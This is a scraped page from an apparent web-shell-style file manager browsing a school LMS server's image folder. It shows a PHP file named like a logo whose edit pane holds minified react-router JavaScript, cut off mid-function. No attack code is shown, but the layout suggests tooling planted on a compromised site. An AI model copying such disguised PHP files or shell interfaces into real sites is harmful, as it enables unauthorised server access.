๐ File Manager
๐
/
/
home
/
u449181296
/
domains
/
birulogi.smakpbaleendah.sch.id
/
public_html
/
lms
/
tukang-ngatur
/
assets
/
img
/
qr-logos
/home/u449181296/domains/birulogi.smakpbaleendah.sch.id/public_html/lms/tukang-ngatur/assets/img/qr-logos
Upload
Name
Size
Date
CHMOD
Action
โ FILE โ
logo_1773801405.php
6.73 KB
2026-03-18 02:36
644
(rw-r--r--)
Edit
|
Rename
|
Preview
|
Del
Edit
import{r as i}from"./react-vendor-Cdu9POhR.js";/** * react-router v7.11.0 * * Copyright (c) Remix Software Inc. * * This source code is licensed under the MIT license found in the * LICENSE.md file in the root directory of this source tree. * * @license MIT */var le="popstate";function Fe(e={}){function t(o,a){let{pathname:l="/",search:u="",hash:s=""}=F(o.location.hash.substring(1));return!l.startsWith("/")&&!l.startsWith(".")&&(l="/"+l),X("",{pathname:l,search:u,hash:s},a.state&&a.state.usr||null,a.state&&a.state.key||"default")}function n(o,a){let l=o.document.querySelector("base"),u="";if(l&&l.getAttribute("href")){let s=o.location.href,c=s.indexOf("#");u=c===-1?s:s.slice(0,c)}return u+"#"+(typeof a=="string"?a:A(a))}function r(o,a){C(o.pathname.charAt(0)==="/",`relative pathnames are not supported in hash history.push(${JSON.stringify(a)})`)}return De(t,n,r,e)}function E(e,t){if(e===!1||e===null||typeof e>"u")throw new Error(t)}function C(e,t){if(!e){typeof console<"u"&&console.warn(t);try{throw new Error(t)}catch{}}}function Oe(){return Math.random().toString(36).substring(2,10)}function ie(e,t){return{usr:e.state,key:e.key,idx:t}}function X(e,t,n=null,r){return{pathname:typeof e=="string"?e:e.pathname,search:"",hash:"",...typeof t=="string"?F(t):t,state:n,key:t&&t.key||r||Oe()}}function A({pathname:e="/",search:t="",hash:n=""}){return t&&t!=="?"&&(e+=t.charAt(0)==="?"?t:"?"+t),n&&n!=="#"&&(e+=n.charAt(0)==="#"?n:"#"+n),e}function F(e){let t={};if(e){let n=e.indexOf("#");n>=0&&(t.hash=e.substring(n),e=e.substring(0,n));let r=e.indexOf("?");r>=0&&(t.search=e.substring(r),e=e.substring(0,r)),e&&(t.pathname=e)}return t}function De(e,t,n,r={}){let{window:o=document.defaultView,v5Compat:a=!1}=r,l=o.history,u="POP",s=null,c=f();c==null&&(c=0,l.replaceState({...l.state,idx:c},""));function f(){return(l.state||{idx:null}).idx}function d(){u="POP";let m=f(),g=m==null?null:m-c;c=m,s&&s({action:u,location:R.location,delta:g})}function h(m,g){u="PUSH";let w=X(R.location,m,g);n&&n(w,m),c=f()+1;let p=ie(w,c),b=R.createHref(w);try{l.pushState(p,"",b)}catch(x){if(x instanceof DOMException&&x.name==="DataCloneError")throw x;o.location.assign(b)}a&&s&&s({action:u,location:R.location,delta:1})}function y(m,g){u="REPLACE";let w=X(R.location,m,g);n&&n(w,m),c=f();let p=ie(w,c),b=R.createHref(w);l.replaceState(p,"",b),a&&s&&s({action:u,location:R.location,delta:0})}function v(m){return Ie(m)}let R={get action(){return u},get location(){return e(o,l)},listen(m){if(s)throw new Error("A history only accepts one active listener");return o.addEventListener(le,d),s=m,()=>{o.removeEventListener(le,d),s=null}},createHref(m){return t(o,m)},createURL:v,encodeLocation(m){let g=v(m);return{pathname:g.pathname,search:g.search,hash:g.hash}},push:h,replace:y,go(m){return l.go(m)}};return R}function Ie(e,t=!1){let n="http://localhost";typeof window<"u"&&(n=window.location.origin!=="null"?window.location.origin:window.location.href),E(n,"No window.location.(origin|href) available to create URL");let r=typeof e=="string"?e:A(e);return r=r.replace(/ $/,"%20"),!t&&r.startsWith("//")&&(r=n+r),new URL(r,n)}function de(e,t,n="/"){return Me(e,t,n,!1)}function Me(e,t,n,r){let o=typeof t=="string"?F(t):t,a=k(o.pathname||"/",n);if(a==null)return null;let l=he(e);Ue(l);let u=null;for(let s=0;u==null&&s<l.length;++s){let c=Ye(a);u=Ve(l[s],c,r)}return u}function he(e,t=[],n=[],r="",o=!1){let a=(l,u,s=o,c)=>{let f={relativePath:c===void 0?l.path||"":c,caseSensitive:l.caseSensitive===!0,childrenIndex:u,route:l};if(f.relativePath.startsWith("/")){if(!f.relativePath.startsWith(r)&&s)return;E(f.relativePath.startsWith(r),`Absolute route path "${f.relativePath}" nested under path "${r}" is not valid. An absolute child route path must start with the combined path of all its parent routes.`),f.relativePath=f.relativePath.slice(r.length)}let d=$([r,f.relativePath]),h=n.concat(f);l.children&&l.children.length>0&&(E(l.index!==!0,`Index routes must not have child routes. Please remove all child routes from route path "${d}".`),he(l.children,t,h,d,s)),!(l.path==null&&!l.index)&&t.push({path:d,score:ze(d,l.index),routesMeta:h})};return e.forEach((l,u)=>{var s;if(l.path===""||!((s=l.path)!=null&&s.includes("?")))a(l,u);else for(let c of pe(l.path))a(l,u,!0,c)}),t}function pe(e){let t=e.split("/");if(t.length===0)return[];let[n,...r]=t,o=n.endsWith("?"),a=n.replace(/\?$/,"");if(r.length===0)return o?[a,""]:[a];let l=pe(r.join("/")),u=[];return u.push(...l.map(s=>s===""?a:[a,s].join("/"))),o&&u.push(...l),u.map(s=>e.startsWith("/")&&s===""?"/":s)}function Ue(e){e.sort((t,n)=>t.score!==n.score?n.score-t.score:Je(t.routesMeta.map(r=>r.childrenIndex),n.routesMeta.map(r=>r.childrenIndex)))}var Be=/^:[\w-]+$/,Ae=3,_e=2,He=1,We=10,je=-2,se=e=>e==="*";function ze(e,t){let n=e.split("/"),r=n.length;return n.some(se)&&(r+=je),t&&(r+=_e),n.filter(o=>!se(o)).reduce((o,a)=>o+(Be.test(a)?Ae:a===""?He:We),r)}function Je(e,t){return e.length===t.length&&e.slice(0,-1).every((r,o)=>r===t[o])?e[e.length-1]-t[t.length-1]:0}function Ve(e,t,n=!1){let{routesMeta:r}=e,o={},a="/",l=[];for(let u=0;u<r.length;++u){let s=r[u],c=u===r.length-1,f=a==="/"?t:t.slice(a.length)||"/",d=J({path:s.relativePath,caseSensitive:s.caseSensitive,end:c},f),h=s.route;if(!d&&c&&n&&!r[r.length-1].route.index&&(d=J({path:s.relativePath,caseSensitive:s.caseSensitive,end:!1},f)),!d)return null;Object.assign(o,d.params),l.push({params:o,pathname:$([a,d.pathname]),pathnameBase:Qe($([a,d.pathnameBase])),route:h}),d.pathnameBase!=="/"&&(a=$([a,d.pathnameBase]))}return l}function J(e,t){typeof e=="string"&&(e={path:e,caseSensitive:!1,end:!0});let[n,r]=Ke(e.path,e.caseSensitive,e.end),o=t.match(n);if(!o)return null;let a=o[0],l=a.replace(/(.)\/+$/,"$1"),u=o.slice(1);return{params:r.reduce((c,{paramName:f,isOptional:d},h)=>{if(f==="*"){let v=u[h]||"";l=a.slice(0,a.length-v.length).replace(/(.)\/+$/,"$1")}const y=u[h];return d&&!y?c[f]=void 0:c[f]=(y||"").replace(/%2F/g,"/"),c},{}),pathname:a,pathnameBase:l,pattern:e}}function Ke(e,t=!1,n=!0){C(e==="*"||!e.endsWith("*")||e.endsWith("/*"),`Route path "${e}" will be treated as if it were "${e.replace(/\*$/,"/*")}" because the \`*\` character must always follow a \`/\` in the pattern. To get rid of this warning, please change the route path to "${e.replace(/\*$/,"/*")}".`);let r=[],o="^"+e.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(l,u,s)=>(r.push({paramName:u,isOptional:s!=null}),s?"/?([^\\/]+)?":"/([^\\/]+)")).replace(/\/([\w-]+)\?(\/|$)/g,"(/$1)?$2");return e.endsWith("*")?(r.push({paramName:"*"}),o+=e==="*"||e==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?o+="\\/*$":e!==""&&e!=="/"&&(o+="(?:(?=\\/|$))"),[new RegExp(o,t?void 0:"i"),r]}function Ye(e){try{return e.split("/").map(t=>decodeURIComponent(t).replace(/\//g,"%2F")).join("/")}catch(t){return C(!1,`The URL path "${e}" could not be decoded because it is a malformed URL segment. This is probably due to a bad percent encoding (${t}).`),e}}function k(e,t){if(t==="/")return e;if(!e.toLowerCase().startsWith(t.toLowerCase()))return null;let n=t.endsWith("/")?t.length-1:t.length,r=e.charAt(n);return r&&r!=="/"?null:e.slice(n)||"/"}var me=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,Ge=e=>me.test(e);function qe(e,t="/"){let{pathname:n,search:r="",hash:o=""}=typeof e=="string"?F(e):e,a;if(n)if(Ge(n))a=n;else{if(n.includes("//")){let l=n;n=n.replace(/\/\/+/g,"/"),C(!1,`Pathnames cannot have embedded double slashes - normalizing ${l} -> ${n}`)}n.startsWith("/")?a=ue(n.substring(1),"/"):a=ue(n,t)}else a=t;return{pathname:a,search:Ze(r),hash:et(o)}}function ue(e,t){let n=t.replace(/\/+$/,"").split("/");return e.split("/").forEach(o=>{o===".."?n.length>1&&n.pop():o!=="."&&n.push(o)}),n.length>1?n.join("/"):"/"}function Y(e,t,n,r){return`Cannot include a '${e}' character in a manually specified \`to.${t}\` field [${JSON.stringify(r)}]. Please separate it out to the \`to.${n}\` field. Alternatively you may provide the full path as a string in <Link to="..."> and the router will parse it for you.`}function Xe(e){return e.filter((t,n)=>n===0||t.route.path&&t.route.path.length>0)}function Z(e){let t=Xe(e);return t.map((n,r)=>r===t.length-1?n.pathname:n.pathnameBase)}function ee(e,t,n,r=!1){let o;typeof e=="string"?o=F(e):(o={...e},E(!o.pathname||!o.pathname.includes("?"),Y("?","pathname","search",o)),E(!o.pathname||!o.pathname.includes("#"),Y("#","pathname","hash",o)),E(!o.search||!o.search.includes("#"),Y("#","search","hash",o)));let a=e===""||o.pathname==="",l=a?"/":o.pathname,u;if(l==null)u=n;else{let d=t.length-1;if(!r&&l.startsWith("..")){let h=l.split("/");for(;h[0]==="..";)h.shift(),d-=1;o.pathname=h.join("/")}u=d>=0?t[d]:"/"}let s=qe(o,u),c=l&&l!=="/"&&l.endsWith("/"),f=(a||l===".")&&n.endsWith("/");return!s.pathname.endsWith("/")&&(c||f)&&(s.pathname+="/"),s}var $=e=>e.join("/").replace(/\/\/+/g,"/"),Qe=e=>e.replace(/\/+$/,"").replace(/^\/*/,"/"),Ze=e=>!e||e==="?"?"":e.startsWith("?")?e:"?"+e,et=e=>!e||e==="#"?"":e.startsWith("#")?e:"#"+e,tt=class{constructor(e,t,n,r=!1){this.status=e,this.statusText=t||"",this.internal=r,n instanceof Error?(this.data=n.toString(),this.error=n):this.data=n}};function nt(e){return e!=null&&typeof e.status=="number"&&typeof e.statusText=="string"&&typeof e.internal=="boolean"&&"data"in e}function rt(e){return e.map(t=>t.route.path).filter(Boolean).join("/").replace(/\/\/*/g,"/")||"/"}var ye=typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u";function ge(e,t){let n=e;if(typeof n!="string"||!me.test(n))return{absoluteURL:void 0,isExternal:!1,to:n};let r=n,o=!1;if(ye)try{let a=new URL(window.location.href),l=n.startsWith("//")?new URL(a.protocol+n):new URL(n),u=k(l.pathname,t);l.origin===a.origin&&u!=null?n=u+l.search+l.hash:o=!0}catch{C(!1,`<Link to="${n}"> contains an invalid URL which will probably break when clicked - please update to a valid URL path.`)}return{absoluteURL:r,isExternal:o,to:n}}Object.getOwnPropertyNames(Object.prototype).sort().join("\0");var ve=["POST","PUT","PATCH","DELETE"];new Set(ve);var at=["GET",...ve];new Set(at);var I=i.createContext(null);I.displayName="DataRouter";var V=i.createContext(null);V.displayName="DataRouterState";var ot=i.createContext(!1),Re=i.createContext({isTransitioning:!1});Re.displayName="ViewTransition";var lt=i.createContext(new Map);lt.displayName="Fetchers";var it=i.createContext(null);it.displayName="Await";var P=i.createContext(null);P.displayName="Navigation";var _=i.createContext(null);_.displayName="Location";var S=i.createContext({outlet:null,matches:[],isDataRoute:!1});S.displayName="Route";var te=i.createContext(null);te.displayName="RouteError";var we="REACT_ROUTER_ERROR",st="REDIRECT",ut="ROUTE_ERROR_RESPONSE";function ct(e){if(e.startsWith(`${we}:${st}:{`))try{let t=JSON.parse(e.slice(28));if(typeof t=="object"&&t&&typeof t.status=="number"&&typeof t.statusText=="string"&&typeof t.location=="string"&&typeof t.reloadDocument=="boolean"&&typeof t.replace=="boolean")return t}catch{}}function ft(e){if(e.startsWith(`${we}:${ut}:{`))try{let t=JSON.parse(e.slice(40));if(typeof t=="object"&&t&&typeof t.status=="number"&&typeof t.statusText=="string")return new tt(t.status,t.statusText,t.data)}catch{}}function dt(e,{relative:t}={}){E(M(),"useHref() may be used only in the context of a <Router> component.");let{basename:n,navigator:r}=i.useContext(P),{hash:o,pathname:a,search:l}=H(e,{relative:t}),u=a;return n!=="/"&&(u=a==="/"?n:$([n,a])),r.createHref({pathname:u,search:l,hash:o})}function M(){return i.useContext(_)!=null}function T(){return E(M(),"useLocation() may be used only in the context of a <Router> component."),i.useContext(_).location}var Ee="You should call navigate() in a React.useEffect(), not when your component is first rendered.";function xe(e){i.useContext(P).static||i.useLayoutEffect(e)}function be(){let{isDataRoute:e}=i.useContext(S);return e?Pt():ht()}function ht(){E(M(),"useNavigate() may be used only in the context of a <Router> component.");let e=i.useContext(I),{basename:t,navigator:n}=i.useContext(P),{matches:r}=i.useContext(S),{pathname:o}=T(),a=JSON.stringify(Z(r)),l=i.useRef(!1);return xe(()=>{l.current=!0}),i.useCallback((s,c={})=>{if(C(l.current,Ee),!l.current)return;if(typeof s=="number"){n.go(s);return}let f=ee(s,JSON.parse(a),o,c.relative==="path");e==null&&t!=="/"&&(f.pathname=f.pathname==="/"?t:$([t,f.pathname])),(c.replace?n.replace:n.push)(f,c.state,c)},[t,n,a,o,e])}i.createContext(null);function H(e,{relative:t}={}){let{matches:n}=i.useContext(S),{pathname:r}=T(),o=JSON.stringify(Z(n));return i.useMemo(()=>ee(e,JSON.parse(o),r,t==="path"),[e,o,r,t])}function pt(e,t){return Ce(e,t)}function Ce(e,t,n,r,o){var w;E(M(),"useRoutes() may be used only in the context of a <Router> component.");let{navigator:a}=i.useContext(P),{matches:l}=i.useContext(S),u=l[l.length-1],s=u?u.params:{},c=u?u.pathname:"/",f=u?u.pathnameBase:"/",d=u&&u.route;{let p=d&&d.path||"";Se(c,!d||p.endsWith("*")||p.endsWith("*?"),`You rendered descendant <Routes> (or called \`useRoutes()\`) at "${c}" (under <Route path="${p}">) but the parent route path has no trailing "*". This means if you navigate deeper, the parent won't match anymore and therefore the child routes will never render. Please change the parent <Route path="${p}"> to <Route path="${p==="/"?"*":`${p}/*`}">.`)}let h=T(),y;if(t){let p=typeof t=="string"?F(t):t;E(f==="/"||((w=p.pathname)==null?void 0:w.startsWith(f)),`When overriding the location using \`<Routes location>\` or \`useRoutes(routes, location)\`, the location pathname must begin with the portion of the URL pathname that was matched by all parent routes. The current pathname base is "${f}" but pathname "${p.pathname}" was given in the \`location\` prop.`),y=p}else y=h;let v=y.pathname||"/",R=v;if(f!=="/"){let p=f.replace(/^\//,"").split("/");R="/"+v.replace(/^\//,"").split("/").slice(p.length).join("/")}let m=de(e,{pathname:R});C(d||m!=null,`No routes matched location "${y.pathname}${y.search}${y.hash}" `),C(m==null||m[m.length-1].route.element!==void 0||m[m.length-1].route.Component!==void 0||m[m.length-1].route.lazy!==void 0,`Matched leaf route at location "${y.pathname}${y.search}${y.hash}" does not have an element or Component. This means it will render an <Outlet /> with a null value by default resulting in an "empty" page.`);let g=Rt(m&&m.map(p=>Object.assign({},p,{params:Object.assign({},s,p.params),pathname:$([f,a.encodeLocation?a.encodeLocation(p.pathname.replace(/\?/g,"%3F").replace(/#/g,"%23")).pathname:p.pathname]),pathnameBase:p.pathnameBase==="/"?f:$([f,a.encodeLocation?a.encodeLocation(p.pathnameBase.replace(/\?/g,"%3F").replace(/#/g,"%23")).pathname:p.pathnameBase])})),l,n,r,o);return t&&g?i.createElement(_.Provider,{value:{location:{pathname:"/",search:"",hash:"",state:null,key:"default",...y},navigationType:"POP"}},g):g}function mt(){let e=Ct(),t=nt(e)?`${e.status} ${e.statusText}`:e instanceof Error?e.message:JSON.stringify(e),n=e instanceof Error?e.stack:null,r="rgba(200,200,200, 0.5)",o={padding:"0.5rem",backgroundColor:r},a={padding:"2px 4px",backgroundColor:r},l=null;return console.error("Error handled by React Router default ErrorBoundary:",e),l=i.createElement(i.Fragment,null,i.createElement("p",null,"๐ฟ Hey developer ๐"),i.createElement("p",null,"You can provide a way better UX than this when your app throws errors by providing your own ",i.createElement("code",{style:a},"ErrorBoundary")," or"," ",i.createElement("code",{style:a},"errorElement")," prop on your route.")),i.createElement(i.Fragment,null,i.createElement("h2",null,"Unexpected Application Error!"),i.createElement("h3",{style:{fontStyle:"italic"}},t),n?i.createElement("pre",{style:o},n):null,l)}var yt=i.createElement(mt,null),Pe=class extends i.Component{constructor(e){super(e),this.state={location:e.location,revalidation:e.revalidation,error:e.error}}static getDerivedStateFromError(e){return{error:e}}static getDerivedStateFromProps(e,t){return t.location!==e.location||t.revalidation!=="idle"&&e.revalidation==="idle"?{error:e.error,location:e.location,revalidation:e.revalidation}:{error:e.error!==void 0?e.error:t.error,location:t.location,revalidation:e.revalidation||t.revalidation}}componentDidCatch(e,t){this.props.onError?this.props.onError(e,t):console.error("React Router caught the following error during render",e)}render(){let e=this.state.error;if(this.context&&typeof e=="object"&&e&&"digest"in e&&typeof e.digest=="string"){const n=ft(e.digest);n&&(e=n)}let t=e!==void 0?i.createElement(S.Provider,{value:this.props.routeContext},i.createElement(te.Provider,{value:e,children:this.props.component})):this.props.children;return this.context?i.createElement(gt,{error:e},t):t}};Pe.contextType=ot;var G=new WeakMap;function gt({children:e,error:t}){let{basename:n}=i.useContext(P);if(typeof t=="object"&&t&&"digest"in t&&typeof t.digest=="string"){let r=ct(t.digest);if(r){let o=G.get(t);if(o)throw o;let a=ge(r.location,n);if(ye&&!G.get(t))if(a.isExternal||r.reloadDocument)window.location.href=a.absoluteURL||a.to;else{const l=Promise.resolve().then(()=>window.__reactRouterDataRouter.navigate(a.to,{replace:r.replace}));throw G.set(t,l),l}return i.createElement("meta",{httpEquiv:"refresh",content:`0;url=${a.absoluteURL||a.to}`})}}return e}function vt({routeContext:e,match:t,children:n}){let r=i.useContext(I);return r&&r.static&&r.staticContext&&(t.route.errorElement||t.route.ErrorBoundary)&&(r.staticContext._deepestRenderedBoundaryId=t.route.id),i.createElement(S.Provider,{value:e},n)}function Rt(e,t=[],n=null,r=null,o=null){if(e==null){if(!n)return null;if(n.errors)e=n.matches;else if(t.length===0&&!n.initialized&&n.matches.length>0)e=n.matches;else return null}let a=e,l=n==null?void 0:n.errors;if(l!=null){let f=a.findIndex(d=>d.route.id&&(l==null?void 0:l[d.route.id])!==void 0);E(f>=0,`Could not find a matching route for errors on route IDs: ${Object.keys(l).join(",")}`),a=a.slice(0,Math.min(a.length,f+1))}let u=!1,s=-1;if(n)for(let f=0;f<a.length;f++){let d=a[f];if((d.route.HydrateFallback||d.route.hydrateFallbackElement)&&(s=f),d.route.id){let{loaderData:h,errors:y}=n,v=d.route.loader&&!h.hasOwnProperty(d.route.id)&&(!y||y[d.route.id]===void 0);if(d.route.lazy||v){u=!0,s>=0?a=a.slice(0,s+1):a=[a[0]];break}}}let c=n&&r?(f,d)=>{var h,y;r(f,{location:n.location,params:((y=(h=n.matches)==null?void 0:h[0])==null?void 0:y.params)??{},unstable_pattern:rt(n.matches),errorInfo:d})}:void 0;return a.reduceRight((f,d,h)=>{let y,v=!1,R=null,m=null;n&&(y=l&&d.route.id?l[d.route.id]:void 0,R=d.route.errorElement||yt,u&&(s<0&&h===0?(Se("route-fallback",!1,"No `HydrateFallback` element provided to render during initial hydration"),v=!0,m=null):s===h&&(v=!0,m=d.route.hydrateFallbackElement||null)));let g=t.concat(a.slice(0,h+1)),w=()=>{let p;return y?p=R:v?p=m:d.route.Component?p=i.createElement(d.route.Component,null):d.route.element?p=d.route.element:p=f,i.createElement(vt,{match:d,routeContext:{outlet:f,matches:g,isDataRoute:n!=null},children:p})};return n&&(d.route.ErrorBoundary||d.route.errorElement||h===0)?i.createElement(Pe,{location:n.location,revalidation:n.revalidation,component:R,error:y,children:w(),routeContext:{outlet:null,matches:g,isDataRoute:!0},onError:c}):w()},null)}function ne(e){return`${e} must be used within a data router. See https://reactrouter.com/en/main/routers/picking-a-router.`}function wt(e){let t=i.useContext(I);return E(t,ne(e)),t}function Et(e){let t=i.useContext(V);return E(t,ne(e)),t}function xt(e){let t=i.useContext(S);return E(t,ne(e)),t}function re(e){let t=xt(e),n=t.matches[t.matches.length-1];return E(n.route.id,`${e} can only be used on routes that contain a unique "id"`),n.route.id}function bt(){return re("useRouteId")}function Ct(){var r;let e=i.useContext(te),t=Et("useRouteError"),n=re("useRouteError");return e!==void 0?e:(r=t.errors)==null?void 0:r[n]}function Pt(){let{router:e}=wt("useNavigate"),t=re("useNavigate"),n=i.useRef(!1);return xe(()=>{n.current=!0}),i.useCallback(async(o,a={})=>{C(n.current,Ee),n.current&&(typeof o=="number"?await e.navigate(o):await e.navigate(o,{fromRouteId:t,...a}))},[e,t])}var ce={};function Se(e,t,n){!t&&!ce[e]&&(ce[e]=!0,C(!1,n))}i.memo(St);function St({routes:e,future:t,state:n,onError:r}){return Ce(e,void 0,n,r,t)}function un({to:e,replace:t,state:n,relative:r}){E(M(),"<Navigate> may be used only in the context of a <Router> component.");let{static:o}=i.useContext(P);C(!o,"<Navigate> must not be used on the initial render in a <StaticRouter>. This is a no-op, but you should modify your code so the <Navigate> is only ever rendered in response to some user interaction or state change.");let{matches:a}=i.useContext(S),{pathname:l}=T(),u=be(),s=ee(e,Z(a),l,r==="path"),c=JSON.stringify(s);return i.useEffect(()=>{u(JSON.parse(c),{replace:t,state:n,relative:r})},[u,c,r,t,n]),null}function Lt(e){E(!1,"A <Route> is only ever to be used as the child of <Routes> element, never rendered directly. Please wrap your <Route> in a <Routes>.")}function $t({basename:e="/",children:t=null,location:n,navigationType:r="POP",navigator:o,static:a=!1,unstable_useTransitions:l}){E(!M(),"You cannot render a <Router> inside another <Router>. You should never have more than one in your app.");let u=e.replace(/^\/*/,"/"),s=i.useMemo(()=>({basename:u,navigator:o,static:a,unstable_useTransitions:l,future:{}}),[u,o,a,l]);typeof n=="string"&&(n=F(n));let{pathname:c="/",search:f="",hash:d="",state:h=null,key:y="default"}=n,v=i.useMemo(()=>{let R=k(c,u);return R==null?null:{location:{pathname:R,search:f,hash:d,state:h,key:y},navigationType:r}},[u,c,f,d,h,y,r]);return C(v!=null,`<Router basename="${u}"> is not able to match the URL "${c}${f}${d}" because it does not start with the basename, so the <Router> won't render anything.`),v==null?null:i.createElement(P.Provider,{value:s},i.createElement(_.Provider,{children:t,value:v}))}function cn({children:e,location:t}){return pt(Q(e),t)}function Q(e,t=[]){let n=[];return i.Children.forEach(e,(r,o)=>{if(!i.isValidElement(r))return;let a=[...t,o];if(r.type===i.Fragment){n.push.apply(n,Q(r.props.children,a));return}E(r.type===Lt,`[${typeof r.type=="string"?r.type:r.type.name}] is not a <Route> component. All component children of <Routes> must be a <Route> or <React.Fragment>`),E(!r.props.index||!r.props.children,"An index route cannot have child routes.");let l={id:r.props.id||a.join("-"),caseSensitive:r.props.caseSensitive,element:r.props.element,Component:r.props.Component,index:r.props.index,path:r.props.path,middleware:r.props.middleware,loader:r.props.loader,action:r.props.action,hydrateFallbackElement:r.props.hydrateFallbackElement,HydrateFallback:r.props.HydrateFallback,errorElement:r.props.errorElement,ErrorBoundary:r.props.ErrorBoundary,hasErrorBoundary:r.props.hasErrorBoundary===!0||r.props.ErrorBoundary!=null||r.props.errorElement!=null,shouldRevalidate:r.props.shouldRevalidate,handle:r.props.handle,lazy:r.props.lazy};r.props.children&&(l.children=Q(r.props.children,a)),n.push(l)}),n}var j="get",z="application/x-www-form-urlencoded";function K(e){return typeof HTMLElement<"u"&&e instanceof HTMLElement}function kt(e){return K(e)&&e.tagName.toLowerCase()==="button"}function Tt(e){return K(e)&&e.tagName.toLowerCase()==="form"}function Nt(e){return K(e)&&e.tagName.toLowerCase()==="input"}function Ft(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}function Ot(e,t){return e.button===0&&(!t||t==="_self")&&!Ft(e)}var W=null;function Dt(){if(W===null)try{new FormData(document.createElement("form"),0),W=!1}catch{W=!0}return W}var It=new Set(["application/x-www-form-urlencoded","multipart/form-data","text/plain"]);function q(e){return e!=null&&!It.has(e)?(C(!1,`"${e}" is not a valid \`encType\` for \`<Form>\`/\`<fetcher.Form>\` and will default to "${z}"`),null):e}function Mt(e,t){let n,r,o,a,l;if(Tt(e)){let u=e.getAttribute("action");r=u?k(u,t):null,n=e.getAttribute("method")||j,o=q(e.getAttribute("enctype"))||z,a=new FormData(e)}else if(kt(e)||Nt(e)&&(e.type==="submit"||e.type==="image")){let u=e.form;if(u==null)throw new Error('Cannot submit a <button> or <input type="submit"> without a <form>');let s=e.getAttribute("formaction")||u.getAttribute("action");if(r=s?k(s,t):null,n=e.getAttribute("formmethod")||u.getAttribute("method")||j,o=q(e.getAttribute("formenctype"))||q(u.getAttribute("enctype"))||z,a=new FormData(u,e),!Dt()){let{name:c,type:f,value:d}=e;if(f==="image"){let h=c?`${c}.`:"";a.append(`${h}x`,"0"),a.append(`${h}y`,"0")}else c&&a.append(c,d)}}else{if(K(e))throw new Error('Cannot submit element that is not <form>, <button>, or <input type="submit|image">');n=j,r=null,o=z,l=e}return a&&o==="text/plain"&&(l=a,a=void 0),{action:r,method:n.toLowerCase(),encType:o,formData:a,body:l}}Object.getOwnPropertyNames(Object.prototype).sort().join("\0");function ae(e,t){if(e===!1||e===null||typeof e>"u")throw new Error(t)}function Ut(e,t,n){let r=typeof e=="string"?new URL(e,typeof window>"u"?"server://singlefetch/":window.location.origin):e;return r.pathname==="/"?r.pathname=`_root.${n}`:t&&k(r.pathname,t)==="/"?r.pathname=`${t.replace(/\/$/,"")}/_root.${n}`:r.pathname=`${r.pathname.replace(/\/$/,"")}.${n}`,r}async function Bt(e,t){if(e.id in t)return t[e.id];try{let n=await import(e.module);return t[e.id]=n,n}catch(n){return console.error(`Error loading route module \`${e.module}\`, reloading page...`),console.error(n),window.__reactRouterContext&&window.__reactRouterContext.isSpaMode,window.location.reload(),new Promise(()=>{})}}function At(e){return e==null?!1:e.href==null?e.rel==="preload"&&typeof e.imageSrcSet=="string"&&typeof e.imageSizes=="string":typeof e.rel=="string"&&typeof e.href=="string"}async function _t(e,t,n){let r=await Promise.all(e.map(async o=>{let a=t.routes[o.route.id];if(a){let l=await Bt(a,n);return l.links?l.links():[]}return[]}));return zt(r.flat(1).filter(At).filter(o=>o.rel==="stylesheet"||o.rel==="preload").map(o=>o.rel==="stylesheet"?{...o,rel:"prefetch",as:"style"}:{...o,rel:"prefetch"}))}function fe(e,t,n,r,o,a){let l=(s,c)=>n[c]?s.route.id!==n[c].route.id:!0,u=(s,c)=>{var f;return n[c].pathname!==s.pathname||((f=n[c].route.path)==null?void 0:f.endsWith("*"))&&n[c].params["*"]!==s.params["*"]};return a==="assets"?t.filter((s,c)=>l(s,c)||u(s,c)):a==="data"?t.filter((s,c)=>{var d;let f=r.routes[s.route.id];if(!f||!f.hasLoader)return!1;if(l(s,c)||u(s,c))return!0;if(s.route.shouldRevalidate){let h=s.route.shouldRevalidate({currentUrl:new URL(o.pathname+o.search+o.hash,window.origin),currentParams:((d=n[0])==null?void 0:d.params)||{},nextUrl:new URL(e,window.origin),nextParams:s.params,defaultShouldRevalidate:!0});if(typeof h=="boolean")return h}return!0}):[]}function Ht(e,t,{includeHydrateFallback:n}={}){return Wt(e.map(r=>{let o=t.routes[r.route.id];if(!o)return[];let a=[o.module];return o.clientActionModule&&(a=a.concat(o.clientActionModule)),o.clientLoaderModule&&(a=a.concat(o.clientLoaderModule)),n&&o.hydrateFallbackModule&&(a=a.concat(o.hydrateFallbackModule)),o.imports&&(a=a.concat(o.imports)),a}).flat(1))}function Wt(e){return[...new Set(e)]}function jt(e){let t={},n=Object.keys(e).sort();for(let r of n)t[r]=e[r];return t}function zt(e,t){let n=new Set;return new Set(t),e.reduce((r,o)=>{let a=JSON.stringify(jt(o));return n.has(a)||(n.add(a),r.push({key:a,link:o})),r},[])}function Le(){let e=i.useContext(I);return ae(e,"You must render this element inside a <DataRouterContext.Provider> element"),e}function Jt(){let e=i.useContext(V);return ae(e,"You must render this element inside a <DataRouterStateContext.Provider> element"),e}var oe=i.createContext(void 0);oe.displayName="FrameworkContext";function $e(){let e=i.useContext(oe);return ae(e,"You must render this element inside a <HydratedRouter> element"),e}function Vt(e,t){let n=i.useContext(oe),[r,o]=i.useState(!1),[a,l]=i.useState(!1),{onFocus:u,onBlur:s,onMouseEnter:c,onMouseLeave:f,onTouchStart:d}=t,h=i.useRef(null);i.useEffect(()=>{if(e==="render"&&l(!0),e==="viewport"){let R=g=>{g.forEach(w=>{l(w.isIntersecting)})},m=new IntersectionObserver(R,{threshold:.5});return h.current&&m.observe(h.current),()=>{m.disconnect()}}},[e]),i.useEffect(()=>{if(r){let R=setTimeout(()=>{l(!0)},100);return()=>{clearTimeout(R)}}},[r]);let y=()=>{o(!0)},v=()=>{o(!1),l(!1)};return n?e!=="intent"?[a,h,{}]:[a,h,{onFocus:B(u,y),onBlur:B(s,v),onMouseEnter:B(c,y),onMouseLeave:B(f,v),onTouchStart:B(d,y)}]:[!1,h,{}]}function B(e,t){return n=>{e&&e(n),n.defaultPrevented||t(n)}}function Kt({page:e,...t}){let{router:n}=Le(),r=i.useMemo(()=>de(n.routes,e,n.basename),[n.routes,e,n.basename]);return r?i.createElement(Gt,{page:e,matches:r,...t}):null}function Yt(e){let{manifest:t,routeModules:n}=$e(),[r,o]=i.useState([]);return i.useEffect(()=>{let a=!1;return 